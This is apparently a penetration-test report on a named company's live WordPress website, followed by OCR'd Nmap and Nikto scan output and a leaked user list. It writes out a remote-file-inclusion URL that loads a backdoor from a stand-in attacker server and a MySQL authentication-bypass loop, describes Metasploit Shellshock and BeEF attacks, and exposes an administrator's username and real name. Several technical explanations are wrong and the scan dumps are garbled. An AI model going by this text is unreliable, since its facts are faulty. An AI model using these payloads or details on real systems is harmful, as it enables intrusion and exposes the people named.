Utilising the PTES framework a live penetration test was performed against the website target www.tevelcyber.com after written authorisation in the form of an E-Mail from the company domain, outlining the pre-evaluation discussions and parameters that were put in place along with the permission to form a ‘Black Box’ penetration test on the companies live website.
[bookmark: _Toc40134045]6.1 Information Gathering
The first tool that was utilsed within the information gathering stage was Nmap, to retrieve the IP address and Fully Qualified Domain Name (FQDN) [110] of the hosting webserver, along with all of the open and filtered ports that are being utilsed that can be further investigated to identify if they are vulnerable. 
The results from the Nmap stealth synchronization acknowledged ‘SYN’ scan [111] [Syntax: sudo nmap -sN -p 1-65535 www.tevelcyber.com], that scanned all 65,535 (2^16) ports can be found in figure 3.
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[bookmark: _Toc40134068]Figure 3: Nmap Scan of Target Website Tevel Cyber
As figure 3 illustrates that there are currently 27 ports open on the www.tevelcyber.com and that the FQDN of the server that includes the CSP in which it the website is being hosted upon is; Ns8202.hostgator.com with a public IP address of 192.185.39.52/32, the webserver is utilising port 443 SSL/TLS for HTTPS encryption and port 80 for HTTP website browser communications.
The results show that the server is also hosting a mail server with the services; Simple Message Transport Protocol Secure (SMTPS) , Post Office Protocol 3 Secure (POP3S) and Internet Message Access Protocol Secure (IMAPS), the  ‘submission’ service is also being utilised for E-Mail error correction to reduce the rate of undelivered messages from the SMTP client to the SMTP server utilising port 587. [112]
Domain Name System (DNS)  port 53 is also being utilised in conjunction with Remote Name Daemon Control (RNDC) port 953 which are common services for Linux webservers to translate IP addresses to human readable domain names.
A MySQL backend relationship database is also present on the server that is running on port 3306 along with a File Transport Protocol (FTP) file server service on port 21. 
SSH is enabled on the webserver that allows a secure remote connection to the server which could be vulnerable to attack.
There is also a Remedial Simple File Transport Protocol (RSFTP) running on port 26. After further investigation of the port, the service has a known vulnerable bug within some applications that utilise this service via remote User Datagram Protocol (UDP), that allows a telnet session without any authentication to access a file server.
An IBM Storage Area Network (SAN)  is also being utilised due to store data at the CSP because ports 2077 service tsrmagt and 2078 service tpcsrvr are being utilised which are proprietary IBM protocols used within IBM Total Storage Productivity Centre (TSPC) software that are configured remotely using the SSH protocol. These IBM SAN ports are not known vulnerable ports, although the information garnered helps to map and fingerprint the network in which the target website is being hosted within, furthermore these services are owned by the CSP and therefore it would be illegal to exploit these services.
The idware-router service running on port 2079 is a remote port utilised by a third party Network Operation Control (NOC) that manage the CSP underlying infrastructure. It would also be illegal to attempt to exploit these services as that would grant access to the CSP underlying infrastructure containing millions of websites that are hosted within.
The autodesk-nlm service running on port 2080 is a Networking Licensing Manager (NLM) for engineering software Autodesk, which highlights the company utilises design software.
The infowave service running on port 2082, upon research is a legacy Mobile Device Management (MDM) [113] server that is either being utilised by the client or the CSP. Because the researcher is unable to distinguish whom owns the service, it will not be attempted to be exploited due to potential legal issues.
The radsec service utilising port 2083 is an open source Linux Remote Authentication Dial-In User Service (RADIUS) [114] Authentication, Authorization, and Accounting (AAA) [115] security server that is potentially being utilised to authenticate users to the target website to the administrator control panel or authenticate CSP engineers, because the researcher is unable to distinguish whom owns the service, it will not be attempted to be exploited due to potential legal issues.
The gnunet service running on port 2086 is a datacentre protocol utilised for mesh discovery within the decentralised hosting network. Therefore, it is owned and linked to the underlying CSP infrastructure so no exploitation on this port will be attempted due to legal issues.
The Event Logging Integration (ELI) service running on port 2087 is CSP logging security server protocol owned by the CSP to log all interactions with the CSP datacentre. Therefore, this service will not be exploited due to legal reasons.
The nbx-ser running on port 2095 and the nbx-dir service running on port 2096 is utilised as a control panel API for administrators to utilise to manage services being provided to their clients. This port is potentially vulnerable and could result in a XSS attack being leveraged against the backend database if there are issues within the PHP code linking the front end of the website to the backend database.
The Ethernet Industrial Protocol (EtherNetIP) running on port 2222 is an industrial application protocl is an programmable automation controller utilised within large datacentres. The researcher can assume that this service is owned by the CSP and connects to the underlying datacentre infrastructure, so no attempt at exploitation will take place due to legal reasons.
The unknown service running on port 37834 can not be identified due to running on an unassigned port range, due to the target website being hosted within a CSP. This port will not be explored further due to potential legal issues.
After the thorough research garnered from the initial Nmap data. A more targeted approach was then adopted using a website vulnerability scanner Nikto to try and identify any coding issues within the website and/or vulnerabilities on the services found within Nmap.
The results from the Nikto website vulnerability assessment using the syntax [ nikto -h www.tevelcyber.com -ssl] was very fruitful with the information it provided whilst fingerprinting the HTTPS webserver shown in figure 4.
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[bookmark: _Toc40134069]Figure 4: Nikto Website Vulnerability Analyses of Target Website Tevel Cyber
The results from the Nikto scan reveal that the webserver is running an Apache OS located within the Salford, Manchester, England, UK and the WordPress application has been utilsed to build the website. 
It also revealed that the SSL/TLS encryption being utilised is AES-256 and SHA-384 which is military grade encryption, although from previous research, if the webserver has not been configured correctly, the webserver could be vulnerable to the Heartbleed and/or POODLE vulnerability.
Hidden directories have been found by Nikto that can be further investigated using the Linux Curl utility if the webserver has not secured the hidden directories correctly. 
The hidden directories and files found are: 
1. /webmail/blank.html    2. /securecontrolpanel/    3. /cgi-sys/Count.cgi      4. /wp-json/
       5. /mailman/listinfo/            6. /Sitemap/xml                  7. /robots.txt                    8. /server-status/
       9. /img-sys/     10. /webmail/lib/emailreader_execute_on_each_page.inc.php
      11. /webmail/src/read_body.php    12. /licence.txt      13. /controlpanel/    14. /cpanel/ 15./webmail
Xframe security has been found within the website header: x-xss-protection found mode=block, x-frame-options found contents: SAMEORIGIN and x-content-type-option contents: nosniff
Website cookie security has also been found within the website PHP coding: cookie phpsessid created without the httponly flag which makes client side cookie hijacking very difficult utilising an XSS attack because this flag tells the website browser that the server can only read the cookies and not the client side website browser connected to the webserver.
A potential Website Application Firewall, load balancer or proxy server has been highlighted by Nikto because the server changed from Apache to Nginx v1.17.6 which is another lightweight Linux webserver. This information indicates to the security researcher that this is most probably a load balancer due to the nature of the hosting within a large CSP to handle high volumes of traffic within the datacentre architecture design configuration. Although a section of the website has been found that does not employ the php secure flag. 
Due to the output from Nikto within the found hidden directories the researcher has deduced this unsecure page is within the previously found hidden directory that contained a PHP file which was: /webmail/lib/emailreader_execute_on_each_page.inc.php this page could potentially be vulnerable to an CSS exploit. This theory will be employed within the exploitation stage of the penetration test.
[bookmark: _Toc40134046]6.1.1 Summary of Section
Utilising the identified vulnerable ports and configuration errors within the target website. A series of exploits will be leveraged against the possible vulnerabilities to gain unorthodox access to the website target by circumventing the application security that has been put in place. The primary goal will be to exploit information contained within the backend database and the secondary goal will be to exploit the front end of the website if time permits as discussed within the Penetration Framework; Threat Modelling section of this report.
Nikto, Curl, and NMAP, Hidden directories found and vulnerabilities
Web Application Firewall (WAF) detected after scan suggesting HTTTP firewall is on place
[bookmark: _Toc40134047]6.2 Exploitation
The exploitation tools previously discussed within the Penetration Testing Tools section of this report will be leveraged against the target, along with manual methods to attempt to access privileged information pertaining to the target along with a possible 
[bookmark: _Toc40134048]6.2.1 Attack 1 – Forced Browsing Attack  
Utilising the Curl Linux CLI tool with the syntax [sudo curl -I www.tevelcyber.com/.../...*Hidden directories] previously identified within the information gathering stage of the test, this information will be utilised to leverage a ‘forced browsing attack’ [116]  against the hidden directories found, this attack is the most common ‘Black Box’ website hacking method.   
Hidden Directory 1:-  /wp-json/ 
The following information was retrieved from within the target website hidden directories source code shown in figure 5 revealed information about the backend database such as the commands to enter into the API from the front end of the website to the backend database which are; POST, PUT, PATCH, DELETE that excepts Comma-separated values (CSV) lists utilised by backend databases to store information. The backend database can be mapped from the additional database ‘field’ information retrieved such as: email, last name, first name, Identification (ID), Role (User privileges i.e. administrator, general user etc), slug ( relationship database primary key identifier), password, nickname. 
Utilising this information, a SQLi could be performed to; download, upload, modify or delete information within the backend database. With accordance with the pre-engagement interaction with the client in which they specifically outlined not to download, upload, modify, view, or delete any information within the backend database, the SQLi attack will not be performed against the targets backend database.
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[bookmark: _Toc40134070]Figure 5: Source Code from the Hidden Directory /wp-json/
Additionally, a further hidden directory: /wp-json/wp/v2/users directory was found within the API source code that led to the backend database users file shown in figure 6.  
The directory revealed a file backend database user file, containing the CEO/CTO website administrator username; techieswp1987 along with the Unique Identifier (UID) of the user within the backend database which is; 2 with the name of the user which is; Harish Ramani
A second user UID was also located within the file which was UID; 1 name; ramwptest. 
Due to the nature of the sensitive information found and the ease of access to the target website backend database ‘Users’ file along with the information regarding the database parent structure that also provided the database file format previously discussed, this vulnerability has been given an ‘extremely high’ rating that should be patched immediately. In accordance with the clients instructions, this exploit was not pursued any further.
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[bookmark: _Toc40134071]Figure 6: Backend Database Information of the Target Website Found in /wp-json/wp/v2/users Directory
The hidden directory vulnerability was subsequently patched by  the network security engineers at ‘Tevel Cyber Ltd’ as it was unable to be further accessed after the initial discovery, this is shown in figure 7 where a; status: 401 permissions and authorisation error message was later displayed. 
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[bookmark: _Toc40134072]Figure 7: Webserver Security Hardened by Tevel Cyber
Note: The website hidden directory security update prevented further investigation into the backend database utilising unsecure hidden directories.
Hidden Directories 2:-  /securecontrolpanel/, /webmail/blank.html, /webmail/, /securecontrolpanel/ /cpanel/
These directories were securely redirected to a Wordpress application login control panel page shown in figure 8 that is secure and not vulnerable to attack.
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[bookmark: _Toc40134073]Figure 8: Secure WordPress User Login Control Panel Found
Hidden Directory 3:- /mailman/admin
This hidden directory shown in figure 9 contained an administrator mailbox page that needed user authentication to access the E-Mail server.
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[bookmark: _Toc40134074]Figure 9: Secure E-Mail Server Login Hidden Page Found
Hidden Directory 4:- /robots.txt
The robots.txt file is a default file utilised within websites that tells website crawlers such as; Google what links to return on a search engine. The robots.txt file shown in figure 6 contains a sitemap.xml along with two directories to the /wp-admin/ WordPress control panel section of the website that is disallowed although the /wp-admin/admin-ajax.php file is allowed along with the sitemap.xml.
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[bookmark: _Toc40134075]Figure 10: Robots.txt File Found within Hidden Directory
Further investigation into the /wp-admin/ yielded no usable information as the browser was redirected to the WordPress administrator control panel of the site. The /wp-admin-ajax.php/ would have been checked for a XSS vulnerability but unfortunately the security had been hardened at that point in time of the penetration test by the security engineers at tevelcyber.com that prevented all forced browser attacks within hidden directories and file in the website, so this possible XSS vulnerability was unable to be pursued further. 
Hidden Directory 5:- /Sitemap.xml
As previously discussed the sitemap.xml file is utilised by Web Crawlers to display links to a companies website page within their search results shown in figure 11.
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[bookmark: _Toc40134076]Figure 11: Sitemap.xml Located within a Hidden Directory
The links within the sitemap.xml did not yield any further results within the investigation as expected because this file is utilised by website browsers to display information, so no security issues were found here.
Hidden Directory 6: - /wp-login.php
The /wp-login.php page shown in figure 12 was another portal to the control panel of WordPress. The username previously found within the backend database was applied but the correct password was not issued as further investigation into the backend database files were halted on the clients request as previously discussed.
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[bookmark: _Toc40134077]Figure 12: Secure WordPress Login Page Located within a Hidden Directory
Due to the security of the target website being hardened along with the indefinite suspension of the website, the remaining found unsecure hidden directories were unable to be further investigated and exploited.
[bookmark: _Toc40134049]6.2.1.1 Security Recommendations
The security recommendations to prevent forced browser attacks being leveraged against the target website are to manually create an Access Control List (ACL) [117] within the hidden directories to prevent unauthorised access, also define the types of files that can be allowed to be read remotely using file extensions.
The files to include would be all database files, spreadsheet file, .dat and log files. Virtual directories are also recommended to partition directories that contain highly sensitive information from directories that do not contain sensitive information. This method allows for granular ACL to be utilised and managed through a simple control panel.
[bookmark: _Toc40134050]6.2.2 Attack 2 – Isoka Cedric E-Mail Reader 0.4 XSS vulnerability
The PHP file that Nikto found within the information gathering stage of the investigation was inspected via the source code after being downloaded using the Curl tool; [syntax; sudo curl -o www.tevelcyber.com/webmail/lib/emailreader_execute_on_each_page.inc.php ./ ] illustrated in figure 13.
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[bookmark: _Toc40134078]Figure 13: Suspicious PHP Page found with Possible XSS Vulnerability
Once the source code was inspected, it was evident that there was a known XSS vulnerability within the iframe suspiciously called ‘sandbox’ that contained a link to a known E-Mail application vulnerability within Cedric E-Mail reader 4.0 via the URL: emailreader_execute_on_each_page.inc.php that is a known XSS vulnerability [CVE-2003-1411]; that contains PHP remote file inclusion which allows an attacker to utilise a third party website XSS redirection attack that could be leveraged against clients and staff visiting the webpage that could be used to install malware from a third party server onto their personal devices along with the webserver to pivot the attack further to gain access to the backend database by stealing login credentials etc.
This XSS exploit was not executed due to the  clients instructions to not execute or inject arbitrary code within the webserver that could infect the webserver along with staff/clients of the business and  also affect the performance of the live webserver that clients and staff are currently utilising. 
This vulnerability has been given an ‘extremely high’ rating due to the ability in which arbitrary code can be injected into the backend database This attack does not need user authentication permissions to be leveraged.
This attack was possible because of the unsecure iframes being utilised within this section of the website. The researcher recommends that this vulnerability be immediately patched by ‘Tevel Cyber Ltd’ network securty engineers.
An example of how the attack would be leveraged would be by execution the code: http://tevelcyber.com/webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=http://[attacker webserver]/malicous_code_trojan_horse_backdoor.php into a client browsers URL.
[bookmark: _Toc40134051]6.2.2.1 Security Recommendations
To patch this vulnerability the researcher recommends that the network security engineers at the company remove the unsecure iframe from the vulnerable page along with upgrading the E-Mail application reader to a more secure reader such as:  Java Apache Mail Enterprise Server (JAMES)  [118] that is compatible with the webserver currently being utilised by the company that has no known vulnerabilities.
[bookmark: _Toc40134052]6.2.3 Attack 3 – Buffer Overflow Attack 
The Count.cgi file found in the hidden directory /cgi-bin/Count.cgi is shell script utilised by websites to count the hits a website receives. This script is vulnerable to buffer overflow attacks within a website that allows remote execution to the /cgi-bin/ directory of the webserver CVE-1999-0021.
A buffer overflow stack script can be written in C programming language and leveraged against the target using the Linux Curl tool. An example of a buffer overflow C script has been written that is illustrated in figure 14.
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[bookmark: _Toc40134079]Figure 14: CGI C Programme Created for Buffer Overflow Attack Against Count.cgi Script
The above script was not leveraged against the webserver because although it reveals information stored within the memory buffer of the webserver it is also known to cause a DOS attack against the target. Because the target is a live website it was decided not to risk causing downtime on the website that is currently being utilised by the client.
[bookmark: _Toc40134053]6.2.3.1 Security Recommendations
To prevent a Count.cgi buffer overflow attack it is recommended to prevent remote shell execution within the /cgi-bin/ and /cgi-sys/ direcotires of a webserver. This can be configured localy on the webserver within the bash cli using the command; sudo chmod 400 /cgi-bin/Count.cgi. This command only allows the Count.cgi script to be read and not written or executed against the webserver, along with regularly updating and patching the Debian Linux OS with the CLI BASH syntax: [sudo apt-get update && apt-get upgrade].
[bookmark: _Toc40134054]6.2.4 Attack 4 – Shellshock Exploit
The Count.cgi script is also vulnerable to the Shellshock remote shell execution vulnerability shown in the code in the example code within figure 15 by executing it against the Count.cgi script. 
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[bookmark: _Toc40134080]Figure 15: Reverse BASH Shell Script Created in Python to Exploit Count.cgi Script
The Metasploit Framework was utilsed to leverage the shellshock attack against the target by utilising the apachemod_cgi_bash script in conjunction with the unix/irc/unreal_ircd_3281__backdoor reverse tcp/ip script to exploit the  shellshock vulnerability in order to connect to a remote BASH shell within the target server. Shown in figure 16.
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[bookmark: _Toc40134081]Figure 16: Metasploit Framework Utilised to Exploit Shellshock Vulnerability

As figure 16 illustrates the exploit was successful within connecting using port 587 and  attempting to inject the malicious code against the vulnerable webserver. However, the exploit was prematurely exited before a backdoor was uploaded to prevent malware being injected into the target webserver to create a persistent backdoor. This attack was only leveraged as proof of concept per the clients instructions not inject malware or create persistent backdoors on the companies live webserver.  
[bookmark: _Toc40134055]6.2.4.1 Security Recommendations
To secure this vulnerability from attack the Count.cgi file permissions need to be modified on the local server utilsiing the bash syntax; [sudo chmod 400 /cig-bin/Count.cgi] which modifies the file the permissions of the file to read only along with regularly updating and patching the Debian Linux OS with the CLI BASH syntax: [sudo apt-get update && apt-get upgrade].
[bookmark: _Toc40134056]6.2.5 Attack 5 – Beef XSS Bind Shell Exploitation 
The Beef specialised website exploitation framework was utilsed to identify and exploit any XSS weaknesses previously undetected within the information gathering stage of the ‘Black-Box’ penetration test located within the target website.
The Beef framework tool was initialised within the Bash CLI and exposed to the local loopback address of the attacking machine, where a web browser can be utilised to hook the target website and retrieve information and execute vulnerabilities via the GUI Beef interface shown in figure 17.
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[bookmark: _Toc40134082]Figure 17: Beef Webserver Installed on Attacker Machine
Once the Beef tool was loaded, the security researcher navigated to the target website and applied the ‘Hook’ shown in figure 18 where the automated tool reported XSS WordPress XSS vulnerabilities within the target website directory /cgi-bin/Count.cgi with utilising the custom Beef XSS exploit ‘Beef Blind Shell’, an arbitury bash command ‘Hostname’ was utilised so that the exploit would not create a reverse shell or leverage a DOS against the website but respond if the vulnerability would have been successfully that is also  illustrated within figure 18.
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[bookmark: _Toc40134083]Figure 18: Beef Hook Utilised on Target Website Using the Beef Bind Shell Module
Once successful a beef hook persistent session was created shown in figure 19 that is called a Zombie that is exited when the attacker browser is closed.
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[bookmark: _Toc40134084]Figure 19: Target Website Hooked with Persistent Session Beef Zombie
The Beef logs within the attackers BASH CLI confirms that the XSS module would have been successful if leveraged with the correct command instructions to create a reverse TCP/IP shell to gain access to the clients webserver shown in figure 19.
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[bookmark: _Toc40134085]Figure 20: Beef CLI Webserver logs Show Exploit was Successful
The status success shown within the above image indicates the XSS exploit module was a success but did not create a remote shell or execute any malicious code on the clients webserver.
[bookmark: _Toc40134057]6.2.5.1 Security Recommendations
The security recommendations will be identical to the shellshock exploit that utilised the same vulnerability to attempt to create a backdoor within the target system utilising the Count.cgi vulnerability previously identified.
[bookmark: _Toc40134058]6.2.6 Attack 6 – Heartbleed Exploit
To leverage the Heartbleed SSL/TLS attack against the target, the SSL/TLS certificate were first captured utilising the OpenSSL tool against the target with the BASH CLI syntax; [sudo openssl s_client -connect 192.185.39.52:443 -showcerts]. The SSL/TLS keys were then saved to the attackers machine illustrated in figure 21.
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[bookmark: _Toc40134086]Figure 21: Tevel Cyber Website SSL/TLS Certificate Hijacked

The SSL/TLS certificate keys were then loaded into the Metasploit Frameworks Heartbleed module alog with the configuration details about the host such as remote host IP and service/port to leverage the attack against shown in figure 22.
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[bookmark: _Toc40134087]Figure 22: Heartbleed Failed Exploit Leveraged Against Target with Metasploit
This was not successful even after the attacker utilised all exploits options to attempt to by pass the openssl security so the webserver would failover to pure SSLv3 after it was identified the webserver was utilising openssl v1.1.1 and the vulerbailty effects openssl versions 1.0 and below.
[bookmark: _Toc40134059]6.2.6.1 Security Recommendations
There are no security recommendations to report because the current most secure version of openssl is being utilised by the target webserver. 
[bookmark: _Toc40134060]6.2.7 MySQL Authentication Bypass Vulnerability
The MySQL and MariaDB authentication bypass exploit [CVE-2012-2122], takes advantage of the memcmp() routine that presents with values outside of the expected norm of -128 through 127. When a code is optimised to purposefully return a value outside of this range, the code that compares the password to the stored hashes will authenticate even if the password is incorrect. Because the target website was utilising a MySQL server identified from the Nmap scan, the security researcher decided to attempt to leverage this attack against the target using the mysql_hash dump module within Metaplsoit Framework shown in figure 23.
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[bookmark: _Toc40134088]Figure 23: MySQL Common Exploit Leveraged Against Target Website
The output in the above image shows the authentication bypass was successful up until 30% where the exploit then failed, this was assumed by the researcher to be because the server is utilising a MySQL patched version of 5.1 or above.
The explit can also be leveraged from a raw BASH CLI with the syntax: for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
[bookmark: _Toc40134061]6.2.7.1 Security Recommendations
There are no security recommendations to report for this exploit because the current most secure version of MySQL is being utilised by the target webserver that is not vulernable to this exploit.
Note: Due to the website www.tevelcyber.com being taken offline intermittently during the timeframe of the penetration test along with the security of the website being substantially upgraded throughout the penetration test timeframe, a full security audit of the target website was not able to be thoroughly completed using the vulnerabilities and open ports services previously found. As of writing this document [08/10/20], the website has now been taken offline indefinitely. 
Therefore, the results pertaining to the ‘Black Box’ penetration attack may be skewed as additional information pertaining to the target along with the execution of a number of discovered vulnerabilities was unable to be collected and exploited during the downtime of the target website.
The lambda function API vulnerability discussed within the Cloud Services research section of this report was not scanned for vulnerabilities on the target website or attempted to be exploited due to the exploit gaining access to the underlying CSP infrastructure which would be illegal due to the researcher not having permission to perform the exploit by the CSP; HostGator.
[bookmark: _Toc40134062]7.0 Cost of ‘Black Box’ Penetration Security Test
The cost of the penetration test has been itemised in the form of an invoice, that was sent to the client ‘Tevel Cyber Ltd’ with the report for the security researcher to receive payment. The invoice can be found in figure 24.
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[bookmark: _Toc40134089]Figure 24: Invoice Created For Tevel Cyber Ltd with Itemised Bill of Penetration Security Test
No hardware upgrades were recommended because the client utilises a CSP that maintains and operates the underlying datacentre infrastructure that the website is being hosted on.
[bookmark: _Toc40134063]8.0 Timetable of Execution
A timetable of execution was prepared for the client, so that log files regarding the Black-Box’ penetration test can be deleted and marked as safe along with the timeline of progress of when the penetration test was taking place. The timetable of execution depicting this can be found in figure 24.
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[bookmark: _Toc40134090]Figure 25: Detailed Ghant Chart Outlining Timeline of the Black Box Penetration Test
[bookmark: _Toc40134064]9.0 Reflection of ‘Black Box’ Penetration Testing Project
The researcher of this project Mr Paul M Lawrence is a network infrastructure engineer and Linux/Windows systems engineer whom understands security concepts relating to network infrastructure within a Local Area Network (LAN) and Wide Area Network (WAN). This project has allowed the researcher to broaden their breadth of knowledge within website and relationship database  development, thus having to learn and understand the PHP, Java, SQL and HTML website scripting  languages that are crucial to finding vulnerabilities within the source code and design architecture of a website in order to exploit the weaknesses. This project has 
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Nmap scan report for www.tevelcyber.com (192.185.39.52)

Host is up (@.12s latency).

rDNS record for 192.185.39.52: ns8202.hostgator.con

Not shown: 65508 closed ports

PORT STATE  SERVICE
21/tcp  open ftp

22/tcp  open ssh

25/tcp  open smtp

26/tcp  filtered rsftp

53/tcp  open domain

80/tcp  open http

116/tcp  open pop3

143/tcp  open imap

a43/tcp  open https.

a65/tcp  filtered smtps

587/tcp  open submission
953/tcp  filtered rndc

993/tcp  open imaps

995/tcp  open pop3s.
2077/tcp open tsrmagt
2078/tcp open tpesrvr
2079/tcp open idware-router
2080/tcp open autodesk-nlm

2082/tcp filtered infowave
2083/tcp filtered radsec

2086/tcp open gnunet
2087/tcp open eli

2095/tcp open nbx-ser
2096/tcp filtered nbx-dir
2222/tcp open EtherNetIP-1
3306/tcp open mysql
37834/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 21410.24 seconds
zeldagzelda:~$
zelda@zelda:~$ ||
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rCzeldagzelda:~$ nikto -h tevelcyber.com -ssl
- Nikto v2.1.5

+ Target T 192.185.39.52
+ Target Hostname:  tevelcyber.com

+ Target Port 443

+ SSL Info: Subject: /OU=Domain Control Validated/OU=Hosted by HostGator.com, LLC./OU=PositiveSSL Wildcard/CN=*.hostgator.con
Ciphers: TLS_AES_256_GCM_SHA384
Issuer: /C=GB/ST=Greater Manchester/L=Salford/0=COMODO CA Limited/CN=COMODO RSA Domain Validation Secure Server CA
+ Start Time: 2020-05-62 17:57:54 (GMT1)

server: Apache

The anti-clickjacking X-Frame-Options header is not present.

Uncommon header 'x-redirect-by' found, with contents: WordPress
Uncommon header 'x-xss-protection' found, with contents: 1; mode=block
Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
Uncommon header 'x-content-type-options' found, with contents: nosniff
Cookie PHPSESSID created without the secure flag

Cookie PHPSESSID created without the httponly flag

Uncommon header 'x-robots-tag' found, with contents: noindex, follow

Unconmon header 'link' found, with contents: <https://tevelcyber.com/wp-json/>; rel="https://api.w.org/
File/dir '/wp-admin/admin-ajax.php' in robots.txt returned a non-forbidden or redirect HTTP code (460)
robots.txt" contains 2 entries which should be manually viewed

server is using a wildcard certificate: '*.hostgator.com

Hostname 'tevelcyber.com' does not match certificate's CN '*.hostgator.com

Allowed HTTP Methods: GET, POST, OPTIONS, HEAD

/webnail/blank.html: IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities.
/securecontrolpanel/: Web Server Control Panel

/webnail/: Web based mail package installed.

/cgi-sys/Count.cgi: This may allow attackers to execute arbitrary commands on the server

0SVDB-3233: /mailman/listinfo: Mailman was found on the server.

0SVDB-2117: /cpanel/: Web-based control panel

0SVDB-3092: /testing/: This might be interesting

0SVDB-309: sys/: This might be interesting... possibly a system shell found

0SVDB-3092: /img-sys/: Default image directory should not allow directory listing.

0SVDB-3093: /webmail/lib/emailreader_execute_on_each_page.inc.php: This might be interesting... has been seen in web logs from an unknown scanner

0SVDB-3093: /webmail/src/read_body.php: This might be interesting... has been seen in web logs from an unknown scanner

Hlt + ettt
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+ Target Port: 443

osted by HostGator.com, LLC./OU=PositiveSSL Wildcard/CN=*.hostgator.com

+ SSL Info Subject: /OU=Domain Control Validated/ou:
Ciphers: TLS_AES_256_GCM_SHA384

Issuer: /C=GB/ST=Greater Manchester/L=Salford/0=COMODO CA Limited/CN=COMODO RSA Domain Validation Secure Server CA

+ Start Time: 2020-05-06 15:54:36 (GMT1)

Server: nginx/1.17.6

Unconmon header 'x-proxy-cache' found, with contents: MISS

Unconmon header 'x-redirect-by' found, with contents: Wordpress

Unconmon header 'x-server-cache' found, with contents: true

Unconmon header 'x-content-type-options' found, with contents: nosniff

Unconmon header 'x-frame-options' found, with contents: SAMEORIGIN

Unconmon header 'x-xss-protection' found, with contents: 1; mode=block

Cookie PHPSESSID created without the secure flag

Cookie PHPSESSID created without the httponly flag

Root page / redirects to: https://tevelcyber.com/

server banner has changed from 'nginx/1.17.6' to 'Apache’ which may suggest a WAF, load balancer or proxy is in place

"robots.txt" contains 1 entry which should be manually viewed.

server is using a wildcard certificate: '*.hostgator.com

Hostname 'www.tevelcyber.com' does not match certificate's CN '*.hostgator.com

Unconmon header 'link' found, with contents: <https://tevelcyber.com/wp-json/>; rel="https://api.w.org/"

DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28Vs.80%29.aspx for details.
/webnail/blank.html: IlohaMail 0.8.10 contains an XSS vulnerability. Previous versions contain other non-descript vulnerabilities.
/securecontrolpanel/: Web Server Control Panel

/webnail/: Web based mail package installed.

/cgi-sys/Count.cgi: This may allow attackers to execute arbitrary commands on the server

0SVDB-3233: /matlman/listinfo: Mailman was found on the server

0SVDB-3092: /sitemap.xml: This gives a nice listing of the site content.

0SVDB-561: /server-status: This reveals Apache information. Comment out appropriate line in httpd.conf or restrict access to allowed hosts

0SVDB-2117: /cpanel/: Web-based control panel
0SVDB-3092: /cgi-sys/: This might be interesting... possibly a system shell found
0SVDB-3092: /img-sys/: Default image directory should not allow directory listing

0SVDB-3093: /webmail/lib/emailreader_execute_on_each_page.inc.php: This might be interesting... has been seen in web logs from an unknown scanner
0SVDB-3093: /webmail/src/read_body.php: This might be interesting... has been seen in web logs from an unknown scanner

0SVDB-3092: /license.txt: License file found may identify site software

/controlpanel/: Admin login page/section found.

Cookie wordpress_test_cookie created without the httponly flag

6544 items checked: 88 error(s) and 28 item(s) reported on remote host

End Time: 2026-05-66 18:58:22 (GMT1) (11026 seconds)

A e S S S

+ 1 host(s) tested
zelda@zelda:~$ |
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http:\/\/1.gravatar.com\/avatar\/72ca6d999b2c252e4d8dc2bag2a102497s=246d=msr=g"

“avatar_urls":
/\/1.gravatar.com\/avatar\/72ca6d999b2c252e4d8dc2bagaal02497

"96": "http:\/\/1.gravatar. com\/avatar\/72ca6d999b2c252e4d8dc2bagaal024975=96&d=mm&r=g" : inks": {"self": [{"href": "https:\/\/tevelcyber.com\/up-

json\/wp\/v2\/users\/2"}],"collection": [{"href": "https:\/\/tevelcyber.com\/wp-json\/wp\/v2\/users"} 1},

{"id *ramwptest”,"url":"","descriptio Link"

{"24":"http:\/\/1

ttps:\/\/tevelcyber. com\/author\/ramwptest\/", "slug" : " ramwptest", "avatar_urls":

-avatar . con\/avatar\/442704745c38Ca589017868025320d75=248d=mnsr=g" , "48" : "http: om\/avatar\/442704745C38ca5890178e680125320d7
5=48&d=mm&r=g /\/1.gravatar. com\/avatar\/44270474538Ca5890178e680f25320d75=06&d=mmé r=g i https:\/\/tevelcyber . com/wp-
json\/wp\/v2\/users\/1"}],"collection": [{*href": "https:\/\/tevelcyber.com\/wp-json\/wp\/v2\/users"}H 1}
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{"code":"rest_user_cannot_view","message":"Sorry, you are not allowed to list users.","data":{"status":401}}
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‘Welcome!

‘There currently are no publicly-advertised Mailman mailing lists on tevelcyber.com.To visit the administrators configuration page for an unadvertised list, open a URL similar to this one, but with a '/ and the list
‘name appended. If you have the proper authority, you can also create a new mailing list.

General list information can be found at the mailing list overview page.

(Send questions and comments to mailman@tevelcyber.com.)

python

powered
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“This is @ XML Sitemap which is supposed o be processed by search engines which follow the XML Sitemap standard like Ask.com, Bing, Google and Yahoo.
1t was generated using the WordPress content management system and the Google Sitemap Generator Plugin by Ame Brachhold.
‘You can find more information about XML sitemaps on sitemaps.org and Google's it of sitemap programs.

“This file contains links to sub-sitemaps, follow them to see the actual sitemap content.

URL of sub-sitemap Last modified (GMT)

neveley bercomsitemspemise xnl 0200028 18:22

tps:evelebercom/sitemap:pipage-2020.03 xml - 2020-03.06 06:49

/Revelcybes comsitemap-pipage2020-02 xml  2020-03.02 05:39

ips:evelebercom/sitemap: pipage-2020.01 xml 20200428 18:19

/Revelcybos comsitemap-pipage201E-07 xml  2020-02:06 05:27

tps:evelebercom/sitemap: pipage-2018.06 xml 20190226 19:16

/tevelcybos comsitemap-pipage 20100 xml  2018-08-14 06:14

tps:evelebercom/sitemap:pipage-2014.08 xml 20200130 09:30

Generate with Goosle (XML) Sitemaps Generato Pl for WordPress by Arme Brachhol. This XSLT template i rlessed unde th GPL and fre touse

18 you have problms with your sitemap plee vist the lugin FAQ orthe supp
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</head>
<body>

<iframe sandbox="allow-same-origin allow-scripts allow-top-navigation" id="preferredMethod”
lsrc="https://wmw.tevelcyber.com: 2096/unprotected/loader . html ?random=NLNbxH8zeNP_8YPD&amp; goto_uri=%2flib%2femailreader_execute_on_each_page.inc.php" style="display:none;"></iframe>
<iframe sandbox="allow-same-origin allow-scripts allow-top-navigation" id="nonsecureMethod” src="about:blank" style="display:none;"></iframe>

<iframe sandbox="allow-same-origin allow-scripts allow-top-navigation" id="proxyMethod" src="about:blank" style="display:none;"></iframe>

